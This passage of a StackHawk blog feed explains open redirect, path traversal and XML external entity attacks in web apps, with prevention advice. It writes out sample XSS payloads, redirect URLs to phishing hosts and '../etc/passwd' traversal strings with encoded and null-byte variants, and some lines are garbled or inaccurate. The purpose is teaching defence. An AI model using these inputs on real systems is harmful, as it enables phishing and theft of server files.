ahead.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What Is Open Redirect?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-open-redirect</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Open redirect attacks are a growing issue in web applications nowadays, as there are many serious vulnerabilities open redirects can lead to. As applications increasingly use external data sources, there&amp;#39;s an increasing need to secure URL redirection.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll go over what exactly open redirect is, how this attack works, how you can detect it, and how you can prevent it.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Open Redirect?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Before understanding what open redirect is, let&amp;#39;s learn what redirect exactly means. &lt;/p&gt;&lt;p&gt;A redirect is an HTTP response code that sends a user agent to a different URL from the one requested. Hackers use redirects for many reasons, including to implement a change in the structure of a website, to pass a user agent to a different website, or to serve the same content under multiple URLs. Still, if they&amp;#39;re not implemented correctly, redirects may lead to open redirects.&lt;/p&gt;&lt;p&gt;Open redirect is a vulnerability that can be used to manipulate the application to redirect users to a different URL other than the one that&amp;#39;s intended. This can be done by manipulating the URL to include the parameters that redirect the user to a different URL. This is one of the most common vulnerabilities found in most applications.&lt;/p&gt;&lt;p&gt;Open redirect vulnerabilities may result from insecure input validation on a website or a service that allows for parameter tampering. By performing a redirect, attackers can steal users&amp;#39; credentials, redirect users to phishing sites, and do more malicious things.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of Open Redirect&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Open redirection (open redirect) is classified as one of two types: header- and JavaScript-based, also known as type I and type II open redirect. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Header-Based Open Redirect Vulnerability&lt;/b&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;This type of open redirect is achieved through the HTTP response headers, which can be easily abused because of their multipurpose use. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;For example, the location header redirects the user to another location or resource. Still, an attacker can also use it to redirect the user to a malicious URL. Then, the attacker can use the location header to send the user to a phishing website by manipulating the URL to redirect the user after the authentication process.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. JavaScript-Based Open Redirect Vulnerability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Industries use JavaScript to develop applications (both front end and back end). A web application&amp;#39;s failure to validate the request URI before redirecting to an unintended destination can lead to this type of open redirect. Based on the scenario, this kind of issue can occur on either the front or back end.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Vulnerabilities That Arise Due to Open Redirect&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A lot of people ignore the importance of addressing open redirection vulnerabilities. They think it&amp;#39;s just a vulnerability that allows someone to redirect users to a different website. But hackers can use this vulnerability for much more.&lt;/p&gt;&lt;p&gt;Once a hacker finds and exploits this vulnerability, it&amp;#39;s no longer just a matter of redirection. He can perform phishing attacks, cross-site scripting attacks, and even server-side request forgery attacks. Let&amp;#39;s try to understand each of them one by one.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Phishing Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Phishing attacks are the most common way for cybercriminals to steal users&amp;#39; credentials, and one of the most common attack vectors is the open redirect vulnerability.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Cross-Site Scripting Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Hackers can use open redirect to execute XSS payloads by redirecting the parameter to JavaScript. The two most common payloads to convert open redirect to &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;XSS&lt;/u&gt;&lt;/a&gt; are&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;javascript:alert(1), and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;javascript://%250Aalert(1).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;3. Server-Side Request Forgery&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If the application sends HTTP requests to the redirect URL, open redirect can lead to &lt;a href=&quot;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&quot;&gt;&lt;u&gt;server-side request forgery&lt;/u&gt;&lt;/a&gt; attacks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Hackers Exploit Open Redirect Vulnerability&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Open redirect vulnerability is the most common way attackers perform phishing attacks. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Hackers carry out phishing attacks to steal your personal information like credit card details, username, password, etc. &lt;/p&gt;&lt;p&gt;When the user accesses a website with a vulnerable parameter, the attacker crafts a URL to redirect the user to a malicious website. The URL can look like the URL below with the vulnerable redirectURL  parameter. Once the user opens the URL, he&amp;#39;ll be redirected to https://example.phishing.com .&lt;/p&gt;&lt;p&gt;https://www.example.com/login?username=test&amp;amp;password=test&amp;amp;success=false&amp;amp;redirectURL=https://example.phishing.com&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How Did the URL Redirect Happen?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In the URL provided above, example.com is a trusted domain, and redirectURL is the parameter that contains the URL where the user will be redirected after authentication. Two pointers make this URL perfect for phishing attacks:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The length of the URL is quite significant, which decreases the probability of the user reading the end part.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Users trust a URL after reading the trusted domain in the first part of it.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Once the user opens this URL, the application will redirect the user to the URL present in the redirectURL parameter. &lt;/p&gt;&lt;p&gt;The malicious website will ask for sensitive information like a username and password, just like the original website. Once the user has provided the credentials, the attacker will have access to the user&amp;#39;s account.&lt;/p&gt;&lt;p&gt;In many cases, the user doesn&amp;#39;t realize they&amp;#39;ve been redirected to a malicious website until it&amp;#39;s too late.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding Open Redirect With Example (Code)&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Suppose you have a website that has an email verification endpoint component made in ReactJS.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the example above, we have a functional component for email verification on /email route. The URL for email verification will look like this:&lt;/p&gt;&lt;p&gt;http://www.example.com/email?token=xyz&amp;amp;redirectTo=/dashboard&lt;/p&gt;&lt;p&gt;Once the user opens the email verification link, the component will validate the email verification token from the URL and redirect the user to the redirectURL parameter if the email is verified; otherwise, a redirect will occur to the /login route.&lt;/p&gt;&lt;p&gt;The code mentioned above is vulnerable to open redirect. If the attacker crafts a URL with a malicious redirectURL  parameter, he can redirect a user without hassle.&lt;/p&gt;&lt;p&gt;http://localhost:3000/email?token=helloIamaToken&amp;amp;rediectTo=https://www.evil.com&lt;/p&gt;&lt;p&gt;To prevent open redirect in the code provided above, rather than using window.location.href, it&amp;#39;s recommended you use the useHistory hook. The sample code looks like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the code above, the user will be redirected to http://localhost:3000/https://www.evil.com even if the attacker tries to manipulate the parameter.&lt;/p&gt;&lt;p&gt;Furthermore, to add an extra layer of security, developers can create a helper function to check if a URL is a relative URL or not.&lt;/p&gt;&lt;p&gt;Now that we understand how open redirect happens, let&amp;#39;s focus on a few things you should keep in mind to avoid open redirects.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;3 Things to Avoid With Open Redirects&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Open redirect is a fairly common issue on the web, so it&amp;#39;s essential to keep these points in mind to avoid such risks.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Avoid redirect parameters in URLs, store them in localstorage, or use custom paths using code instead.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If you use redirect parameters, validate the supplied input (query strings).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use whitelisting and validate if the URL is relative or not while implementing redirects.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;Best Practices to Avoid Security Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Security is one of the most important factors to consider while building a web application or website. It&amp;#39;s the gateway to your customer&amp;#39;s information or data. You must take every possible step to avoid security risks. Below is a list of best practices to prevent security vulnerabilities in your web application.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Always Validate User Input&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;User input is one of the biggest causes of security vulnerabilities. When an application takes user input and then blindly acts on that input, it opens itself up to a whole new set of vulnerabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Keep Sensitive Data Out of Logs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Data in your logs should be the bare minimum. This means you should never log essential data like username, password, credit card information, etc. You can add data that helps with debugging and analytics. If you see data or information that can compromise security, then you shouldn&amp;#39;t include it in your logs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Use Always Deny Rule&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The simplest way to think about this is that all access controls are denied if you don&amp;#39;t explicitly allow something. If you can identify potential issues early on in the design of a system, you can prevent those issues from taking effect. It&amp;#39;s easy to deny access to everything by default and then determine what access you need to allow. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Automate Testing for Security Vulnerabilities in the Build Pipeline&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In the ever-changing web application development landscape, companies need to take extra steps to ensure that there are no security vulnerabilities in their web applications. Developers&amp;#39; primary focus is on the end product and not on the security vulnerabilities that may exist on the platform. This is where a security scanner like &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; comes into play. &lt;/p&gt;&lt;p&gt;StackHawk offers a &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;DAST scanner&lt;/u&gt;&lt;/a&gt; that is integrated into a development pipeline. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A DAST scanner is a tool that scans for security vulnerabilities on web applications, both in the source code and in the deployed code.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;It helps developers identify and fix security issues early on in the development cycle, ultimately saving development time, saving money, and ensuring a more secure end product.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that you&amp;#39;ve read our post about open redirect vulnerability, you should be aware of the potential dangers an open redirect vulnerability can cause and know how to protect yourself against such hazards.&lt;/p&gt;&lt;p&gt;If you have any questions about protecting yourself from such threats, our team can help you identify the issue and find the right solution.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is Path Traversal?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-path-traversal</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Cyberattacks don&amp;#39;t come in just one form or fashion. Cyberattackers use several different techniques and avenues to breach security. One of the most popular is path traversal. In this blog post, we&amp;#39;ll cover what path traversal is and how it works. We&amp;#39;ll also look at how you can avoid these kinds of attacks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Path Traversal?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A path traversal (or dot-dot-slash) attack is a malicious attempt to trick a web application into displaying the contents of a directory other than the one requested by the user and gain access to sensitive files on a server. For example, if a user should be viewing an image called abc.jpeg but the web application is tricked into displaying the files in /var/www, the attacker will have successfully performed a path traversal attack.&lt;/p&gt;&lt;p&gt;The attacker may be able to access files that should only be accessible to the web server&amp;#39;s owner, such as .htaccess files or files containing configuration or authentication data.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Kind of Security Breaches Can Path Traversal Result In?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Suppose a site is vulnerable to path traversal. In that case, an attacker will be able to read sensitive files, such as application source code containing usernames and passwords, database credentials, and even private encryption keys. Hackers will be able to write data to arbitrary files in some cases, allowing them to upload a back door to the site, to upload malicious files that are automatically executed, etc.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Happens When a Path Traversal Attack Executes?&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Path traversal is a method of accessing files and directories stored outside the webroot folder.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Using a typical example, let&amp;#39;s look at how path traversal works under the hood.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s say a user is using an online shopping app that creates an invoice every time they shop. When accessing the invoice, the URL looks like this:&lt;/p&gt;&lt;p&gt;https://www.shopping.com/user/invoice?name=order1&lt;/p&gt;&lt;p&gt;The name here denotes the name of the PDF invoice that the server needs to send. When the server receives the file&amp;#39;s name, it adds the working directory and the file extension to the name of the file (/var/www/invoices/order1.pdf), gets the file from the server and sends it back. If the attacker replaces the filename order1.pdf with something malicious like../../etc/passwd, the application will return the requested file&amp;#39;s content if the proper controls are not in place.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Conditions Are Required for a Successful Path Traversal Attack?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A path traversal attack is a type of attack that allows a hacker to traverse through directories and read or write any file on the system. A hacker can carry this out by exploiting insufficient input validation techniques. To be able to carry out a path traversal attack successfully, a hacker needs to meet any of the following conditions: &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Lack of Relative Path Checking&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The most frequently used technique to exploit the directory traversal vulnerability is to use a relative path appended to a vulnerable parameter. If the parameter is not sanitized correctly, the attacker can read arbitrary files from the system.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Validating File Extensions Only&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;File extension validation is a popular way to fix the problem. However, a lot of people miss how dangerous this can be. File extension validation is never a substitute for checking if the parameter is trying to access another file of a different format and can easily be bypassed using Null Byte at the end of the file. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Escaping Dot-Dot-Slash (Improper Implementation)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Some developers try to escape or replace only the ../ from the string, but this is not a proper fix, and it can be bypassed by encoding the escaped characters. In this case, the ../ can be encoded and passed via the URL (for example, from: http://www.example.com/?invoice=../../../../../../../../../tmp/xyz.txt  to http://www.example.com/?invoice=../../../../../../../../../tmp/xyz.txt?%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/tmp/xyz.txt.).&lt;/p&gt;&lt;p&gt;Now that you understand the conditions required to perform a path traversal attack, let&amp;#39;s look at different ways in which hackers can perform this attack.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Different Ways to Perform a Path Traversal Attack&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;A hacker can perform a path traversal attack by manipulating the file path on the webserver and exploiting its weak security. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Below are the most common methods:&lt;/p&gt;&lt;p&gt;1) Using a relative path. This attack adds a file or folder path relative to the current working directory. For example, if the current working directory is /home/user/public_html, an attacker can upload malicious code such as ../../../../../../../../../../../../../../../etc/passwd  to access the /etc/passwd file. &lt;/p&gt;&lt;p&gt;2) Encoding escaped characters. This attack encodes special characters using URL encoding. For example, the attacker can use %2e%2e/%2f to add a / after every two dots. &lt;/p&gt;&lt;p&gt;3) Using a Null Byte attack: This attack uses a Null Byte (\x00) to bypass a path&amp;#39;s regular validation. For example, the attacker can add \x00 in the directory name to bypass the validation by breaking the regular expression. This is also known as Null Byte injection.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Secure Code Snippets to Avoid Path Traversal Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Though path traversal attacks have been around for a long time, they&amp;#39;re still a viral attack vector. This is because they&amp;#39;re easy to launch and can be applied in several situations. &lt;/p&gt;&lt;p&gt;Below are some JavaScript secure code snippets that can help you avoid such attacks.&lt;/p&gt;&lt;p&gt;1. Normalize the file path.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code snippets above are for JavaScript, but what about other programming languages? Let’s look at some standard best practices to avoid path traversal vulnerabilities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Primary Methods of Preventing Path Traversal&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;By now, you should have a pretty good idea of what a path traversal attack is. You know that it involves a malicious attacker trying to access a part of your website that should never be accessed.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s cover some of the ways you can prevent path traversal, secure your web server, and keep your web application safe.&lt;/p&gt;&lt;p&gt;1. Normalize the file path. &lt;/p&gt;&lt;p&gt;2. Avoid using high-privilege users. &lt;/p&gt;&lt;p&gt;3. Update the version of your programming language and web server regularly.&lt;/p&gt;&lt;p&gt;4. Escape special characters (even if you&amp;#39;ve already URL encoded them). &lt;/p&gt;&lt;p&gt;5. Try not to rely on user-supplied file paths.&lt;/p&gt;&lt;p&gt;Although path traversal is a critical vulnerability, it&amp;#39;s not the only vulnerability that hackers exploit, so writing secure code is essential. Let&amp;#39;s have a look at some helpful tips.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Four Helpful Tips to Avoid Security Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Security vulnerabilities can be present in any software. However, web applications are more vulnerable because they&amp;#39;re online. Therefore, keeping them secure is essential.&lt;/p&gt;&lt;p&gt;Here are four tips: &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Keep Your Software Up to Date&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;One of the most essential best practices is keeping your software up to date and updating it as soon as a new patch is released. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Automate Testing for Security Vulnerabilities in the Build Pipeline&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The build pipeline is a vital part of the DevOps process. It allows the development team to compile the newly developed code and push it out to the production servers. However, this process can be pretty vulnerable, especially if you haven&amp;#39;t configured it correctly.&lt;/p&gt;&lt;p&gt;That&amp;#39;s where the&lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;&lt;u&gt;StackHawk&amp;#39;s DAST Scanner&lt;/u&gt;&lt;/a&gt; comes in. You can integrate it with CI/CD pipelines, which allows you to automate the scanning process and discover vulnerabilities as early as possible, including path traversal, SQL injection, cross-site scripting, etc.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Enforce a Strong Password Policy&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is a simple step many businesses overlook.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Requiring complex passwords that an attacker cannot easily guess is essential.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;If you haven&amp;#39;t yet created a password policy for your business, you should do so immediately.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Use SSL Certificates&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;HTTPS is a protocol that encrypts data as it passes between a user and the server, ensuring that no one can intercept it. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We wrote this blog post to provide you with the most comprehensive yet easy-to-understand information about path traversal vulnerabilities and what you can do to fix them. We hope you&amp;#39;ve found it helpful and that you&amp;#39;ll take advantage of &lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;&lt;u&gt;StackHawk&amp;#39;s DAST Scanner&lt;/u&gt;&lt;/a&gt; to make sure your application is free of this vulnerability. If you have any questions or concerns, don&amp;#39;t hesitate to contact us. Thanks for reading!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular XML External Entities (XXE) Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-xml-external-entities-xxe-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;An XML External Entity (XXE) attack uses malicious XML constructs to compromise an application. Using an XML External Entity Attack, an attacker can steal confidential information, create a denial of service, or both. They&amp;#39;re dangerous attacks that you need to consider when developing your applications. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at Angular XML Entities. We&amp;#39;ll discuss why you should worry about these attacks and how you can protect your code from them. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is an XML External Entity Attack?&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Injection Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Injection attacks exploit code by supplying it with invalid data. When the target processes the data, it alters how it behaves, usually by retrieving data for the attacker or causing the application to fail. &lt;/p&gt;&lt;p&gt;Two things about the target application need to be true for an injection attack to succeed: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;It accepts untrustworthy data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It processes the data in a way that causes the application to misbehave.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;XML External Entities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;XXE Attacks are injection attacks with dangerous XML documents. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;XML is a powerful language, and it&amp;#39;s easy to craft a document to steal information or disable a target. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;You build XML documents with &lt;a href=&quot;https://www.w3.org/TR/xml/#sec-physical-struct&quot;&gt;&lt;u&gt;entities&lt;/u&gt;&lt;/a&gt;. Each entity other contains or points to data. &lt;/p&gt;&lt;p&gt;An &lt;b&gt;internal entity&lt;/b&gt; holds its data, while an &lt;b&gt;external entity&lt;/b&gt; refers to data that may be located on another system or elsewhere in the document. These external entities are where the danger comes from. Let&amp;#39;s look at a couple of examples. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a document that uses a &lt;a href=&quot;https://en.wikipedia.org/wiki/Uniform_Resource_Identifier&quot;&gt;&lt;u&gt;URI&lt;/u&gt;&lt;/a&gt; in an external entity. URIs are a superset of the URLs you see in HTML links. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This document defines an entity named &lt;b&gt;xxe&lt;/b&gt; that points to the contents of &lt;b&gt;http://www.example.com/login. &lt;/b&gt;So, when the XML parser sees a reference to the entity, like the one between the &lt;b&gt;&amp;lt;bar&amp;gt;&lt;/b&gt; tags, it retrieves that URL and inserts the contents of that page. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example of a document that defines a text-based custom entity: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;b&gt;lol1 &lt;/b&gt;entity contains the string &lt;b&gt;lol &lt;/b&gt;ten times. As a result, the parser replaces &lt;b&gt;lol1&lt;/b&gt; with ten &lt;b&gt;lols.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Let&amp;#39;s see how attackers use these tools. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Crafting an XML External Entity Attack&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now, let&amp;#39;s look at some examples of XXE attacks. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Retrieving Network Information&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Above, we demonstrated an external entity that pointed at a web page on the Internet. But, they use URIs, which can point to nearly any network resources, including hosts inside a private network. &lt;/p&gt;&lt;p&gt;For example: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If &lt;b&gt;10.1.1.1&lt;/b&gt; exists, is running a web server, and has a page named &lt;b&gt;login&lt;/b&gt;, the XML parser will retrieve the page and place the contents in the XML document. If one or more of those things are false, the resulting document may contain a potentially useful error. Even if this attack fails, the hacker can learn a lot from it. They&amp;#39;ll learn if the IP address is valid, if it&amp;#39;s running a web server, and if the server has a login page. For example, a 404 error page would tell the attacker a lot about the target&amp;#39;s internal network. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Stealing Files&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;URIs can point to files, too. We can use the same document to grab a list of users from the server running the target application with one small tweak. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Instead of inserting the contents of a web page, this attack inserts the contents of &lt;b&gt;/etc/passwd&lt;/b&gt; in the resulting document. This attack works for any file that the application under attack has access to. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Denial of Service Via File Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Linux has special files that act as interfaces to devices and device drivers. If you point an XML document at the right one, you can disable an application. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki//dev/random&quot;&gt;&lt;u&gt;/dev/random&lt;/u&gt;&lt;/a&gt; file generates random numbers based on system noise, but it can&amp;#39;t generate one until there&amp;#39;s some noise to use. So, when an application reads from this file, the call may &lt;a href=&quot;https://en.wikipedia.org/wiki/Blocking_(computing)&quot;&gt;&lt;u&gt;block&lt;/u&gt;&lt;/a&gt;: it doesn&amp;#39;t return data until the system can generate a random number.  This leaves the XML parser hanging until something happens. Send a few hundred of these malicious XML files, and you can bring the server to its knees. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Data Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s take a look at the first example again. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;
This inserts a login page from an external website. If the attacker controls that website, they can use it to harvest usernames and passwords. This is an example of using XXE attacks to inject malicious data. A hacker can inject data into a vulnerable system from anywhere on the Internet. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Denial of Service With Entities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;We looked at an example of using entities to define text nodes above. That document was part of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Billion_laughs_attack&quot;&gt;&lt;u&gt;billion laughs&lt;/u&gt;&lt;/a&gt; attack. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the entire document: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If the parser replaces each &lt;b&gt;lol1&lt;/b&gt; with ten &lt;b&gt;lols,&lt;/b&gt; and each &lt;b&gt;lol2&lt;/b&gt; with ten &lt;b&gt;lol1s&lt;/b&gt;, etc., all the way up to an &lt;b&gt;lol9&lt;/b&gt; indicating ten &lt;b&gt;lol8s&lt;/b&gt;, then this document is expanded to a billion laughs. The name isn&amp;#39;t hyperbole! &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Angular XML External Entity Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Many people associate injection attacks with server-side applications, where the right attack can compromise data or take a web application offline. But client applications are subject to these attacks, where hazards like compromised servers, man-in-the-middle attacks, or rogue redirects can lead to malicious data. So, let&amp;#39;s see how to protect Angular applications from XXE attacks. &lt;/p&gt;&lt;p&gt;
We can&amp;#39;t always protect our applications from untrustworthy data. But we can make sure that our code doesn&amp;#39;t process the data in a dangerous way. Angular doesn&amp;#39;t ship with an XML parser; you can load any javascript parser and use it to process documents in an Angular application. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The good news is, that if you use &lt;a href=&quot;https://www.npmjs.com/package/xml2js&quot;&gt;&lt;u&gt;xml2js&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://github.com/isaacs/sax-js&quot;&gt;&lt;u&gt;sax-js&lt;/u&gt;&lt;/a&gt;, you&amp;#39;re protected from XXE attacks. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;They both default to ignoring custom entities or passing them through without expansion. Sax-js &lt;a href=&quot;https://github.com/isaacs/sax-js#regarding-doctypes-and-entitys&quot;&gt;&lt;u&gt;ignores them,&lt;/u&gt;&lt;/a&gt; and xml2js uses sax-js to process documents. If you do want to process some custom entities, you can install your own event handlers, too. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at a quick example of how xml2js protects us. Put the document that attempts to inject the login page in a file named &lt;b&gt;foo.xml.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Run this code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here is the output: &lt;/p&gt;&lt;p&gt;&lt;code&gt;undefined
Done&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The parser ignored the custom entities and treated the document as if it contained no data.&lt;/p&gt;&lt;p&gt;Now, make a small change to the code. Add the &lt;b&gt;strict&lt;/b&gt; option to the parser constructor, and set it to &lt;b&gt;false.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Run the code again. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now the parser processed the custom entities but without expanding them. &lt;/p&gt;&lt;p&gt;&lt;code&gt;{ FOO: { BAR: [ &amp;#39;&amp;amp;xxe;&amp;#39; ] } }
